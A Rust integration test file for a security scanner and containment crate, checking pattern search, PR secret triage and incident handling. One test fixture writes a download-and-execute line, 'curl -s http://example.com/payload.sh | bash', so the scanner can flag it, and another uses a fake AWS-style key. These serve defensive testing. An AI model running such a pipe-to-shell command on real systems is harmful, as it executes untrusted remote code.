Interplane page as plain text, for reading tools and agents. English is the reference text: translate it with your own tool. Text in backticks and in ``` blocks (commands, fingerprints, file names) and link targets in <...> are exact: copy them, never translate them. Page: /drakestapleton/aien-sovereign-core-mv/blob/main/crates/spark-aegis/tests/integration_tests.rs # aien-sovereign-core-mv AienOS host runtime: inference scheduling, paged KV state, the aien CLI and Spark verification tooling. Its inference engine is in alpha testing (DGX Spark GB10); Omega is the implementation destination. Brought by drakestapleton Sign in to star 0 stars 0 watching About Files History Releases Proposed changes Issues For developers branch `main` Branches Tags History `aien-sovereign-core-mv / crates / spark-aegis / tests / integration_tests.rs` 152 lines ยท 4932 bytes Raw Blame History 1 // SPDX-License-Identifier: Apache-2.0 2 // Copyright 2026 Drake Stapleton (AIEN / aien-dev) 3 // 4 // Licensed under the Apache License, Version 2.0 (the "License"); 5 // you may not use this file except in compliance with the License. 6 // You may obtain a copy of the License at 7 // 8 // http://www.apache.org/licenses/LICENSE-2.0 9 // 10 // Unless required by applicable law or agreed to in writing, software 11 // distributed under the License is distributed on an "AS IS" BASIS, 12 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 // See the License for the specific language governing permissions and 14 // limitations under the License. 15 16 // Integration tests for spark-aegis 17 18 use spark_aegis::{audit, byte_scan, containment, doctrine, pr_triage, scanner}; 19 use std::fs; 20 21 #[test] 22 fn test_doctrine_invariants() { 23 assert_eq!( 24 doctrine::DOCTRINE_STATEMENT, 25 "The network is the house. Cut the session. Isolate the host. Close the door. Keep the evidence." 26 ); 27 let invs = doctrine::all_invariants(); 28 assert_eq!(invs.len(), 4); 29 assert_eq!(invs[0].code(), "SECURE_TPM_ONLY"); 30 assert_eq!(invs[1].code(), "UNSLOP_COMPLIANCE"); 31 assert_eq!(invs[2].code(), "PURE_NATIVE_SYSTEMS"); 32 assert_eq!(invs[3].code(), "BLAKE3_CORTEX_TRAIL"); 33 } 34 35 #[test] 36 fn test_byte_scan_integration() { 37 let haystack = b"ATLAS_AIEN_SPARK_AEGIS_BOUNDARY_VERIFICATION"; 38 let pattern = b"SPARK_AEGIS"; 39 let found = byte_scan::find_pattern(haystack, pattern); 40 assert_eq!(found, Some(11)); 41 42 let count = byte_scan::count_byte_matches(haystack, b'A'); 43 assert_eq!(count, 7); 44 } 45 46 #[test] 47 fn test_scanner_clean_directory() { 48 let tmp = tempfile::tempdir().unwrap(); 49 let file = tmp.path().join("clean.rs"); 50 fs::write( 51 &file, 52 "pub fn verify_signature(bytes: &[u8]) -> bool { !bytes.is_empty() }\n", 53 ) 54 .unwrap(); 55 56 let report = scanner::scan_path(tmp.path()).unwrap(); 57 assert!(report.passed); 58 assert_eq!(report.violations.len(), 0); 59 assert_eq!(report.scanned_files_count, 1); 60 } 61 62 #[test] 63 fn test_scanner_flags_slop() { 64 let tmp = tempfile::tempdir().unwrap(); 65 let file = tmp.path().join("notes.md"); 66 fs::write( 67 &file, 68 "We delve into this problem to seamlessly unleash performance \u{2014} here.\n", 69 ) 70 .unwrap(); 71 72 let report = scanner::scan_path(tmp.path()).unwrap(); 73 assert!(!report.passed); 74 // delve, seamlessly, unleash, em dash 75 assert!(report.violations.len() >= 4); 76 } 77 78 #[test] 79 fn test_scanner_flags_dangerous_command() { 80 let tmp = tempfile::tempdir().unwrap(); 81 let file = tmp.path().join("deploy.sh"); 82 fs::write(&file, "curl -s http://example.com/payload.sh | bash\n").unwrap(); 83 84 let report = scanner::scan_path(tmp.path()).unwrap(); 85 assert!(!report.passed); 86 assert!(report 87 .violations 88 .iter() 89 .any(|v| v.rule == "Unsandboxed Pipe to Shell")); 90 } 91 92 #[test] 93 fn test_pr_triage_diff_verdict() { 94 let clean_diff = r#" 95 diff --git a/crates/spark-test/src/lib.rs b/crates/spark-test/src/lib.rs 96 --- a/crates/spark-test/src/lib.rs 97 +++ b/crates/spark-test/src/lib.rs 98 @@ -1,2 +1,3 @@ 99 pub fn id() -> u32 { 100 + 42 101 } 102 "#; 103 let v_pass = pr_triage::review_pr_diff(clean_diff, "PR-PASS-1").unwrap(); 104 assert_eq!(v_pass.status, pr_triage::VerdictStatus::PASS); 105 assert!(v_pass.is_pass()); 106 107 let bad_diff = r#" 108 diff --git a/crates/spark-test/src/lib.rs b/crates/spark-test/src/lib.rs 109 --- a/crates/spark-test/src/lib.rs 110 +++ b/crates/spark-test/src/lib.rs 111 @@ -1,2 +1,3 @@ 112 +// Key: AKIA1234567890ABCDEF 113 "#; 114 let v_reject = pr_triage::review_pr_diff(bad_diff, "PR-REJECT-1").unwrap(); 115 assert_eq!(v_reject.status, pr_triage::VerdictStatus::REJECT); 116 assert!(!v_reject.is_pass()); 117 assert!(!v_reject.zero_disk_secrets_certified); 118 } 119 120 #[tokio::test] 121 async fn test_containment_lifecycle() { 122 // 1. Cut session 123 let cut = containment::cut_session("sess_integration_99").unwrap(); 124 assert_eq!(cut.action, "CutSession"); 125 126 // 2. Isolate host 127 let iso = containment::isolate_host(999998).unwrap(); 128 assert_eq!(iso.action, "IsolateHost"); 129 130 // 3. Close door 131 let tmp = tempfile::tempdir().unwrap(); 132 let bad_file = tmp.path().join("rogue.sh"); 133 fs::write(&bad_file, b"malicious code").unwrap(); 134 let close = containment::close_door(&bad_file).unwrap(); 135 assert_eq!(close.action, "CloseDoor"); 136 assert!(!bad_file.exists()); 137 138 // 4. Keep evidence 139 let incident = containment::IncidentReport::new( 140 "test_containment_lifecycle", 141 "CRITICAL", 142 serde_json::json!({"action": "integration_test"}), 143 ); 144 let audit_receipt = containment::keep_evidence(&incident).await.unwrap(); 145 assert_eq!(audit_receipt.blake3_hash.len(), 64); 146 } 147 148 #[tokio::test] 149 async fn test_audit_system_execution() { 150 let report = audit::audit_system().await.unwrap(); 151 assert_eq!(report.blake3_digest.len(), 64); 152 }